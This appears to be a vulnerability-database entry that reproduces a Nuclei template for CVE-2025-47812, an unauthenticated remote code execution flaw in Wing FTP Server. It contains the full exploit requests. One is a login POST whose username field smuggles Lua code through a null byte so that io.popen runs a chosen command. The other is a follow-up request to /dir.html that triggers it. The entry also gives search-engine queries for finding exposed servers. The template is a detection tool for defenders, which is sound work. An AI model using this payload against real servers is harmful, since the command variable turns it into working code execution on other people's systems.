Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).
The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection
into session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting
in arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.
PoC代码[已公开]
id: CVE-2025-47812
info:
name: Wing FTP Server <= 7.4.3 - Remote Code Execution
author: rcesecurity,4m3rr0r
severity: critical
description: |
Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).
The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection
into session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting
in arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.
reference:
- https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
- https://github.com/4m3rr0r/CVE-2025-47812-poc
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-47812
epss-score: 0.92007
epss-percentile: 0.9969
metadata:
verified: true
product: wftpserver
vendor: wing_ftp_server
shodan-query:
- http.html_hash:2121146066
- http.favicon.hash:963565804
- title:"Wing FTP Server"
- "Server: Wing FTP Server"
fofa-query:
- icon_hash="963565804"
- title="Wing FTP Server"
- "Server: Wing FTP Server"
zoomeye-query:
- app="Wing FTP Server"
tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev
variables:
cmd: "echo CVE-2025-47812"
http:
- raw:
- |
POST /loginok.html HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=anonymous%00]]%0dlocal+h+%3d+io.popen("{{cmd}}")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=
- raw:
- |
GET /dir.html HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), "cve-2025-47812")'
condition: and
# digest: 4a0a00473045022100e238e53592cfb94fdc6a76453e052c7b4c01fc77bd22dd52923fb8ccfcdbf6800220231ed5396d3b49cf95fd203bc4e18b50a2cf418c099502d404d3ca43a643e1f8:922c64590222798bb761d5b6d8e72950